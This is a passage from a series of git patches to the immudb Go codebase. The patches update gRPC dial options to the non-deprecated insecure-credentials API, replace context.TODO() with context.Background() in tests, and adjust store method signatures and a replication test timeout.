WithDir(t.TempDir()). - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}). + WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithHeartBeatFrequency(time.Millisecond * 100), ) err := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") @@ -139,7 +140,7 @@ func TestSession_ExpireSessions(t *testing.T) { client := ic.NewClient().WithOptions(ic. DefaultOptions(). WithDir(t.TempDir()). - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}), + WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}), ) err := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") diff --git a/pkg/server/servertest/server.go b/pkg/server/servertest/server.go index ff8f8ea192..e058ef107a 100644 --- a/pkg/server/servertest/server.go +++ b/pkg/server/servertest/server.go @@ -30,6 +30,7 @@ import ( "google.golang.org/grpc" "github.com/codenotary/immudb/pkg/server" + "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/test/bufconn" ) @@ -67,7 +68,6 @@ func NewBufconnServer(options *server.Options) *BufconnServer { uuid: uuid, } - return bs } @@ -162,7 +162,7 @@ func (bs *BufconnServer) WaitForPgsqlListener() { func (bs *BufconnServer) NewClient(options *client.Options) client.ImmuClient { return client.NewClient().WithOptions( - options.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}), + options.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}), ) } diff --git a/pkg/stdlib/connection_test.go b/pkg/stdlib/connection_test.go index f44aed9274..3f7aab8bae 100644 --- a/pkg/stdlib/connection_test.go +++ b/pkg/stdlib/connection_test.go @@ -28,6 +28,7 @@ import ( "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) func TestConn(t *testing.T) { @@ -101,7 +102,7 @@ func TestConn_QueryContextErr(t *testing.T) { opts.Password = "immudb" opts.Database = "defaultdb" - opts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}) + opts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) db := OpenDB(opts) defer db.Close() @@ -218,7 +219,7 @@ func TestConn_QueryContextEmptyTable(t *testing.T) { opts.Password = "immudb" opts.Database = "defaultdb" - opts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}) + opts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) db := OpenDB(opts) defer db.Close() diff --git a/pkg/stdlib/driver_test.go b/pkg/stdlib/driver_test.go index fc12205a77..429204dca1 100644 --- a/pkg/stdlib/driver_test.go +++ b/pkg/stdlib/driver_test.go @@ -26,6 +26,7 @@ import ( "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) func TestRegisterConnConfig(t *testing.T) { @@ -40,7 +41,7 @@ func TestRegisterConnConfig(t *testing.T) { opts.Password = "immudb" opts.Database = "defaultdb" - opts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}) + opts.WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) db := OpenDB(opts) defer db.Close() diff --git a/pkg/stdlib/sql_test.go b/pkg/stdlib/sql_test.go index 6927bc7c56..0a6bdd1678 100644 --- a/pkg/stdlib/sql_test.go +++ b/pkg/stdlib/sql_test.go @@ -30,6 +30,7 @@ import ( "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" + "google.golang.org/grpc/credentials/insecure" ) func getRandomTableName() string { @@ -51,7 +52,7 @@ func testServerClient(t *testing.T) (*servertest.BufconnServer, *sql.DB) { opts.Database = "defaultdb" opts. - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}). + WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithDir(t.TempDir()) db := OpenDB(opts) @@ -264,7 +265,7 @@ func TestImmuConnector_ConnectLoginErr(t *testing.T) { opts.Database = "defaultdb" opts. - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}). + WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithDir(t.TempDir()) db := OpenDB(opts) @@ -287,7 +288,7 @@ func TestImmuConnector_ConnectUseDatabaseErr(t *testing.T) { opts.Database = "wrong-db" opts. - WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithInsecure()}). + WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithDir(t.TempDir()) db := OpenDB(opts) diff --git a/pkg/stdlib/uri.go b/pkg/stdlib/uri.go index 5379cf8287..f08cf71e0f 100644 --- a/pkg/stdlib/uri.go +++ b/pkg/stdlib/uri.go @@ -26,6 +26,7 @@ import ( "github.com/codenotary/immudb/pkg/client" "google.golang.org/grpc" "google.golang.org/grpc/credentials" + "google.golang.org/grpc/credentials/insecure" ) func ParseConfig(uri string) (*client.Options, error) { @@ -79,7 +80,7 @@ func dialOptions(sslmode string) ([]grpc.DialOption, error) { switch sslmode { case "disable": - return []grpc.DialOption{grpc.WithInsecure()}, nil + return []grpc.DialOption{grpc.WithTransportCredentials(insecure.NewCredentials())}, nil case "insecure-verify": return []grpc.DialOption{grpc.WithTransportCredentials(credentials.NewTLS(&tls.Config{InsecureSkipVerify: true}))}, nil case "require": From a600cab498bff270a1717e6e771608f479b3e3c7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 31 Jan 2023 12:47:50 -0300 Subject: [PATCH 0205/1062] chore(embedded/store: vlogcache disabled by default Signed-off-by: Jeronimo Irazabal test(pkg/integration/replication): increse replication timeout Signed-off-by: Jeronimo Irazabal test(pkg/integration/replication): increse replication timeout Signed-off-by: Jeronimo Irazabal --- pkg/integration/replication/synchronous_replication_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/integration/replication/synchronous_replication_test.go b/pkg/integration/replication/synchronous_replication_test.go index eb6a2f0785..e660bd4490 100644 --- a/pkg/integration/replication/synchronous_replication_test.go +++ b/pkg/integration/replication/synchronous_replication_test.go @@ -242,7 +242,7 @@ func (suite *SyncTestMinimumReplicasSuite) TestMinimumReplicas() { suite.Run("should commit again once first replica is back online", func() { suite.StartReplica(0) - ctxTimeout, cancel := context.WithTimeout(ctx, 3*time.Second) + ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key4"), []byte("value4")) From 276520ae99e7d576c4f2a24cc2965433071cf78a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 31 Jan 2023 16:30:13 -0300 Subject: [PATCH 0206/1062] chore(pkg/server): upgrades after rebasing from master Signed-off-by: Jeronimo Irazabal --- cmd/immuclient/immuc/login.go | 2 +- .../remoteapp/remote_storage_reader.go | 2 +- embedded/sql/engine_test.go | 39 ++-- embedded/store/immustore_test.go | 179 ++++++++++++------ pkg/auth/serverinterceptors_test.go | 2 +- pkg/client/auditor/auditor_test.go | 4 +- pkg/client/client_test.go | 2 +- pkg/client/clienttest/immuclient_mock_test.go | 22 +-- pkg/client/session_test.go | 16 +- pkg/client/state/state_service_test.go | 4 +- pkg/client/stream_test.go | 2 +- pkg/database/database_test.go | 15 +- pkg/database/truncator_test.go | 84 ++++++-- pkg/integration/auditor_test.go | 10 +- pkg/integration/client_test.go | 126 ++++++------ pkg/integration/error_test.go | 2 +- pkg/integration/fuzzing/grpc_fuzz_test.go | 2 +- pkg/integration/session_test.go | 16 +- .../signature_verifier_interceptor_test.go | 8 +- pkg/integration/tx/tx_entries_test.go | 2 +- pkg/server/corruption_checker_test.go | 14 +- pkg/server/db_runtime_test.go | 4 +- pkg/server/metrics_test.go | 2 +- pkg/server/server_test.go | 2 +- pkg/server/sessions/session_test.go | 4 +- pkg/server/stream_replication_test.go | 2 +- pkg/server/stream_test.go | 4 +- pkg/stdlib/connection.go | 2 +- pkg/stdlib/connection_test.go | 24 +-- pkg/stdlib/driver_test.go | 2 +- pkg/stdlib/sql_test.go | 36 ++-- pkg/stdlib/tx.go | 6 +- pkg/stdlib/tx_test.go | 14 +- pkg/stdlib/uri_test.go | 4 +- pkg/truncator/truncator_test.go | 2 +- tools/long_running/stress_tool_worker_pool.go | 18 +- 36 files changed, 397 insertions(+), 282 deletions(-) diff --git a/cmd/immuclient/immuc/login.go b/cmd/immuclient/immuc/login.go index 70d45a81a4..8a7d902e36 100644 --- a/cmd/immuclient/immuc/login.go +++ b/cmd/immuclient/immuc/login.go @@ -71,7 +71,7 @@ func (i *immuc) Login(args []string) (string, error) { func (i *immuc) Logout(args []string) (string, error) { var err error i.isLoggedin = false - err = i.ImmuClient.Logout(context.TODO()) + err = i.ImmuClient.Logout(context.Background()) st, ok := status.FromError(err) if ok && st.Message() == "not logged in" { return "User not logged in", nil diff --git a/embedded/appendable/remoteapp/remote_storage_reader.go b/embedded/appendable/remoteapp/remote_storage_reader.go index 47b85d525a..144edd6910 100644 --- a/embedded/appendable/remoteapp/remote_storage_reader.go +++ b/embedded/appendable/remoteapp/remote_storage_reader.go @@ -119,7 +119,7 @@ func (r *remoteStorageReader) ReadAt(bs []byte, off int64) (int, error) { } return readBytes, nil - // reader, err := r.r.Get(context.TODO(), r.name, off+r.baseOffset, int64(len(bs))) + // reader, err := r.r.Get(context.Background(), r.name, off+r.baseOffset, int64(len(bs))) // if err != nil { // return 0, err // } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index a340f84353..50246115df 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5903,14 +5903,13 @@ func setupCommonTestWithOptions(t *testing.T, sopts *store.Options) (*Engine, *s require.NoError(t, err) t.Cleanup(func() { closeStore(t, st) }) - ctx := context.TODO() engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(ctx, nil, "CREATE DATABASE db1;", nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE DATABASE db1;", nil) require.NoError(t, err) - _, _, err = engine.Exec(ctx, nil, "USE DATABASE db1;", nil) + _, _, err = engine.Exec(context.Background(), nil, "USE DATABASE db1;", nil) require.NoError(t, err) return engine, st @@ -5919,26 +5918,26 @@ func setupCommonTestWithOptions(t *testing.T, sopts *store.Options) (*Engine, *s func TestCopyCatalogToTx(t *testing.T) { opts := store.DefaultOptions() opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(10)).WithFileSize(6) + engine, st := setupCommonTestWithOptions(t, opts) - ctx := context.TODO() exec := func(t *testing.T, stmt string) *SQLTx { - ret, _, err := engine.Exec(ctx, nil, stmt, nil) + ret, _, err := engine.Exec(context.Background(), nil, stmt, nil) require.NoError(t, err) return ret } query := func(t *testing.T, stmt string, expectedRows ...*Row) { - reader, err := engine.Query(ctx, nil, stmt, nil) + reader, err := engine.Query(context.Background(), nil, stmt, nil) require.NoError(t, err) for _, expectedRow := range expectedRows { - row, err := reader.Read(ctx) + row, err := reader.Read(context.Background()) require.NoError(t, err) require.EqualValues(t, expectedRow, row) } - _, err = reader.Read(ctx) + _, err = reader.Read(context.Background()) require.ErrorIs(t, err, ErrNoMoreRows) err = reader.Close() @@ -6000,23 +5999,25 @@ func TestCopyCatalogToTx(t *testing.T) { query(t, "SELECT * FROM table2") t.Run("should fail due to unique index", func(t *testing.T) { - _, _, err := engine.Exec(ctx, nil, "INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil) + _, _, err := engine.Exec(context.Background(), nil, "INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) }) // insert some data var deleteUptoTx *store.TxHeader + t.Run("insert few transactions", func(t *testing.T) { for i := 1; i <= 5; i++ { + tx, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + key := []byte(fmt.Sprintf("key_%d", i)) value := []byte(fmt.Sprintf("val_%d", i)) - tx, err := st.NewWriteOnlyTx(ctx) - require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) - deleteUptoTx, err = tx.Commit(ctx) + deleteUptoTx, err = tx.Commit(context.Background()) require.NoError(t, err) } }) @@ -6034,12 +6035,13 @@ func TestCopyCatalogToTx(t *testing.T) { // copy current catalog for recreating the catalog for database/table t.Run("succeed copying catalog for db", func(t *testing.T) { - tx, err := engine.store.NewTx(ctx, store.DefaultTxOptions()) + tx, err := engine.store.NewTx(context.Background(), store.DefaultTxOptions()) require.NoError(t, err) err = engine.CopyCatalogToTx(context.Background(), tx) require.NoError(t, err) - hdr, err := tx.Commit(ctx) + + hdr, err := tx.Commit(context.Background()) require.NoError(t, err) // ensure that the last committed txn is the one we just committed require.Equal(t, hdr.ID, st.LastCommittedTxID()) @@ -6047,7 +6049,7 @@ func TestCopyCatalogToTx(t *testing.T) { // delete txns in the store upto a certain txn t.Run("succeed truncating sql catalog", func(t *testing.T) { - hdr, err := st.ReadTxHeader(deleteUptoTx.ID, false) + hdr, err := st.ReadTxHeader(deleteUptoTx.ID, false, false) require.NoError(t, err) require.NoError(t, st.TruncateUptoTx(hdr.ID)) }) @@ -6083,15 +6085,15 @@ func TestCopyCatalogToTx(t *testing.T) { }) t.Run("indexing should work with new catalogue", func(t *testing.T) { - _, _, err := engine.Exec(ctx, nil, "INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil) + _, _, err := engine.Exec(context.Background(), nil, "INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)", nil) require.ErrorIs(t, err, store.ErrKeyAlreadyExists) // should fail due non-available index - _, err = engine.Query(ctx, nil, "SELECT * FROM table1 ORDER BY amount DESC", nil) + _, err = engine.Query(context.Background(), nil, "SELECT * FROM table1 ORDER BY amount DESC", nil) require.ErrorIs(t, err, ErrNoAvailableIndex) // should use primary index by default - r, err := engine.Query(ctx, nil, "SELECT * FROM table1", nil) + r, err := engine.Query(context.Background(), nil, "SELECT * FROM table1", nil) require.NoError(t, err) orderBy := r.OrderBy() @@ -6108,6 +6110,5 @@ func TestCopyCatalogToTx(t *testing.T) { err = r.Close() require.NoError(t, err) - }) } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 6088aeab39..5e8acc7531 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -4301,23 +4301,25 @@ func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) + defer immustoreClose(t, st) - ctx := context.TODO() for i := 1; i <= 20; i++ { + tx, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + key := []byte(fmt.Sprintf("key_%d", i)) value := []byte(fmt.Sprintf("val_%d", i)) - tx, err := st.NewWriteOnlyTx(ctx) - require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) - hdr, err := tx.Commit(ctx) + hdr, err := tx.Commit(context.Background()) require.NoError(t, err) readTx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) - err = st.ReadTx(hdr.ID, readTx) + + err = st.ReadTx(hdr.ID, false, readTx) require.NoError(t, err) for _, e := range readTx.Entries() { @@ -4327,13 +4329,16 @@ func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { } deletePointTx := uint64(15) - hdr, err := st.ReadTxHeader(deletePointTx, false) + + hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) + require.NoError(t, st.TruncateUptoTx(hdr.ID)) for i := deletePointTx; i <= 20; i++ { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) - err = st.ReadTx(i, tx) + + err = st.ReadTx(i, false, tx) require.NoError(t, err) for _, e := range tx.Entries() { @@ -4351,30 +4356,36 @@ func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) + defer immustoreClose(t, st) - ctx := context.TODO() for i := 1; i <= 10; i++ { + tx, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + key := []byte(fmt.Sprintf("key_%d", i)) value := []byte(fmt.Sprintf("val_%d", i)) - tx, err := st.NewWriteOnlyTx(ctx) - require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) - _, err = tx.Commit(ctx) + _, err = tx.Commit(context.Background()) require.NoError(t, err) } deletePointTx := uint64(5) - hdr, err := st.ReadTxHeader(deletePointTx, false) + + hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) + require.NoError(t, st.TruncateUptoTx(hdr.ID)) for i := deletePointTx; i <= 10; i++ { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) - err = st.ReadTx(i, tx) + + err = st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) @@ -4383,7 +4394,10 @@ func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { for i := deletePointTx - 1; i > 0; i-- { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) - err = st.ReadTx(i, tx) + + err = st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.Error(t, err) @@ -4401,22 +4415,23 @@ func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { require.NotNil(t, st) defer immustoreClose(t, st) - ctx := context.TODO() for i := 1; i <= 10; i++ { + tx, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + key := []byte(fmt.Sprintf("key_%d", i)) value := []byte(fmt.Sprintf("val_%d", i)) - tx, err := st.NewWriteOnlyTx(ctx) - require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) - _, err = tx.Commit(ctx) + _, err = tx.Commit(context.Background()) require.NoError(t, err) } deletePointTx := uint64(5) - hdr, err := st.ReadTxHeader(deletePointTx, false) + + hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) // TruncateUptoTx should be idempotent @@ -4426,7 +4441,10 @@ func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { for i := deletePointTx; i <= 10; i++ { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) - err = st.ReadTx(i, tx) + + err = st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) @@ -4435,7 +4453,10 @@ func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { for i := deletePointTx - 1; i > 0; i-- { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) - err = st.ReadTx(i, tx) + + err = st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.Error(t, err) @@ -4453,39 +4474,47 @@ func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) - defer immustoreClose(t, st) - ctx := context.TODO() + defer immustoreClose(t, st) wg := sync.WaitGroup{} + for i := 1; i <= 3; i++ { wg.Add(1) + go func(j int) { defer wg.Done() + for k := 1*(j-1)*10 + 1; k < (j*10)+1; k++ { + tx, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + key := []byte(fmt.Sprintf("key_%d", k)) value := []byte(fmt.Sprintf("val_%d", k)) - tx, err := st.NewWriteOnlyTx(ctx) - require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) - _, err = tx.Commit(ctx) + _, err = tx.Commit(context.Background()) require.NoError(t, err) } }(i) } + wg.Wait() deletePointTx := uint64(15) - hdr, err := st.ReadTxHeader(deletePointTx, false) + + hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) require.NoError(t, st.TruncateUptoTx(hdr.ID)) for i := deletePointTx; i <= 30; i++ { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) - err = st.ReadTx(i, tx) + + err = st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) @@ -4501,22 +4530,23 @@ func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) + defer immustoreClose(t, st) waitCh := make(chan struct{}) doneCh := make(chan struct{}) - ctx := context.TODO() for i := 1; i <= 20; i++ { + tx, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + key := []byte(fmt.Sprintf("key_%d", i)) value := []byte(fmt.Sprintf("val_%d", i)) - tx, err := st.NewWriteOnlyTx(ctx) - require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) - _, err = tx.Commit(ctx) + _, err = tx.Commit(context.Background()) require.NoError(t, err) if i == 10 { @@ -4528,16 +4558,22 @@ func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { go func() { <-waitCh - hdr, err := st.ReadTxHeader(deletePointTx, false) + + hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) require.NoError(t, st.TruncateUptoTx(hdr.ID)) + close(doneCh) }() <-doneCh + for i := deletePointTx; i <= 20; i++ { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) - err = st.ReadTx(i, tx) + + err = st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) @@ -4546,7 +4582,10 @@ func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { for i := deletePointTx - 1; i > 0; i-- { tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) - err = st.ReadTx(i, tx) + + err = st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := st.ReadValue(e) require.Error(t, err) @@ -4571,36 +4610,42 @@ func TestExportTxWithTruncation(t *testing.T) { require.NoError(t, err) defer immustoreClose(t, replicaStore) - ctx := context.TODO() t.Run("validate replication post truncation on master", func(t *testing.T) { hdrs := make([]*TxHeader, 0, 5) // Add 10 transactions on master store for i := 1; i <= 10; i++ { + tx, err := masterStore.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + key := []byte(fmt.Sprintf("key_%d", i)) value := []byte(fmt.Sprintf("val_%d", i)) - tx, err := masterStore.NewWriteOnlyTx(ctx) - require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) - hdr, err := tx.Commit(ctx) + hdr, err := tx.Commit(context.Background()) require.NoError(t, err) require.NotNil(t, hdr) + hdrs = append(hdrs, hdr) } // Truncate upto 5th transaction on master store deletePointTx := uint64(5) - hdr, err := masterStore.ReadTxHeader(deletePointTx, false) + + hdr, err := masterStore.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) + require.NoError(t, masterStore.TruncateUptoTx(hdr.ID)) // Validate that the values are not accessible for transactions that are truncated for i := deletePointTx - 1; i > 0; i-- { tx := NewTx(masterStore.MaxTxEntries(), masterStore.MaxKeyLen()) - err = masterStore.ReadTx(i, tx) + + err = masterStore.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := masterStore.ReadValue(e) require.Error(t, err) @@ -4611,10 +4656,10 @@ func TestExportTxWithTruncation(t *testing.T) { for i := uint64(1); i <= 10; i++ { txholder := tempTxHolder(t, masterStore) - etx, err := masterStore.ExportTx(i, false, txholder) + etx, err := masterStore.ExportTx(i, false, false, txholder) require.NoError(t, err) - rhdr, err := replicaStore.ReplicateTx(ctx, etx, false) + rhdr, err := replicaStore.ReplicateTx(context.Background(), etx, false, false) require.NoError(t, err) require.NotNil(t, rhdr) } @@ -4622,7 +4667,9 @@ func TestExportTxWithTruncation(t *testing.T) { // Validate that the alh is matching with master when data is exported to replica for i := uint64(1); i <= 10; i++ { tx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen()) - err = replicaStore.ReadTx(i, tx) + + err = replicaStore.ReadTx(i, false, tx) + require.NoError(t, err) hdr := hdrs[i-1] require.Equal(t, hdr.ID, tx.header.ID) @@ -4632,7 +4679,10 @@ func TestExportTxWithTruncation(t *testing.T) { // Validate that the values are not copied on replica for truncated transaction on master for i := deletePointTx - 1; i > 0; i-- { tx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen()) - err = replicaStore.ReadTx(i, tx) + + err = replicaStore.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { val, err := replicaStore.ReadValue(e) require.NoError(t, err) @@ -4643,7 +4693,10 @@ func TestExportTxWithTruncation(t *testing.T) { // Validate that the values are copied on replica for non truncated transaction on master for i := deletePointTx; i <= 10; i++ { tx := NewTx(replicaStore.MaxTxEntries(), replicaStore.MaxKeyLen()) - err = replicaStore.ReadTx(i, tx) + + err = replicaStore.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { val, err := replicaStore.ReadValue(e) require.NoError(t, err) @@ -4659,9 +4712,8 @@ func TestImmudbStoreTxMetadata(t *testing.T) { immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) - ctx := context.TODO() t.Run("test tx metadata with truncation header", func(t *testing.T) { - tx, err := immuStore.NewTx(ctx, DefaultTxOptions()) + tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) @@ -4670,7 +4722,7 @@ func TestImmudbStoreTxMetadata(t *testing.T) { err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1}) require.NoError(t, err) - _, err = tx.Commit(ctx) + _, err = tx.Commit(context.Background()) require.NoError(t, err) valRef, err := immuStore.Get([]byte{1, 2, 3}) @@ -4687,15 +4739,16 @@ func TestImmudbStoreTxMetadata(t *testing.T) { }) t.Run("test tx metadata with no truncation header", func(t *testing.T) { - tx, err := immuStore.NewTx(ctx, DefaultTxOptions()) + tx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) require.NoError(t, err) require.NotNil(t, tx) err = tx.Set([]byte{1, 2, 3}, nil, []byte{1, 1, 1}) require.NoError(t, err) - _, err = tx.Commit(ctx) + _, err = tx.Commit(context.Background()) require.NoError(t, err) + valRef, err := immuStore.Get([]byte{1, 2, 3}) require.NoError(t, err) require.Equal(t, uint64(2), valRef.Tx()) @@ -4721,42 +4774,48 @@ func TestImmudbStoreTruncateUptoTx_WithDataPostTruncationPoint(t *testing.T) { st, err := Open(t.TempDir(), opts) require.NoError(t, err) require.NotNil(t, st) + defer immustoreClose(t, st) - ctx := context.TODO() for i := 1; i <= 10; i++ { + tx, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + key := []byte(fmt.Sprintf("key_%d", i)) value := []byte(fmt.Sprintf("val_%d", i)) - tx, err := st.NewWriteOnlyTx(ctx) - require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) - _, err = tx.Commit(ctx) + _, err = tx.Commit(context.Background()) require.NoError(t, err) } deletePointTx := uint64(1) - hdr, err := st.ReadTxHeader(deletePointTx, false) + + hdr, err := st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) require.NoError(t, st.TruncateUptoTx(hdr.ID)) for i := 11; i <= 20; i++ { + tx, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + key := []byte(fmt.Sprintf("key_%d", i)) value := []byte(fmt.Sprintf("val_%d", i)) - tx, err := st.NewWriteOnlyTx(ctx) - require.NoError(t, err) err = tx.Set(key, nil, value) require.NoError(t, err) - hdr, err = tx.Commit(ctx) + hdr, err = tx.Commit(context.Background()) require.NoError(t, err) rtx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) - err = st.ReadTx(hdr.ID, rtx) + + err = st.ReadTx(hdr.ID, false, rtx) + require.NoError(t, err) + for _, e := range rtx.Entries() { _, err := st.ReadValue(e) require.NoError(t, err) diff --git a/pkg/auth/serverinterceptors_test.go b/pkg/auth/serverinterceptors_test.go index a60a3267d3..af7d39a21b 100644 --- a/pkg/auth/serverinterceptors_test.go +++ b/pkg/auth/serverinterceptors_test.go @@ -53,7 +53,7 @@ func (ss *MockedServerStream) Context() context.Context { }, } - return peer.NewContext(context.TODO(), p) + return peer.NewContext(context.Background(), p) } func (ss *MockedServerStream) SendMsg(m interface{}) error { diff --git a/pkg/client/auditor/auditor_test.go b/pkg/client/auditor/auditor_test.go index b2bc789c00..25a180f7da 100644 --- a/pkg/client/auditor/auditor_test.go +++ b/pkg/client/auditor/auditor_test.go @@ -368,9 +368,9 @@ func testDefaultAuditorRunOnDbWithInvalidSignature(t *testing.T, pk *ecdsa.Publi require.NoError(t, err) auditorDone := make(chan struct{}, 2) - err = da.Run(time.Duration(10), true, context.TODO().Done(), auditorDone) + err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) - err = 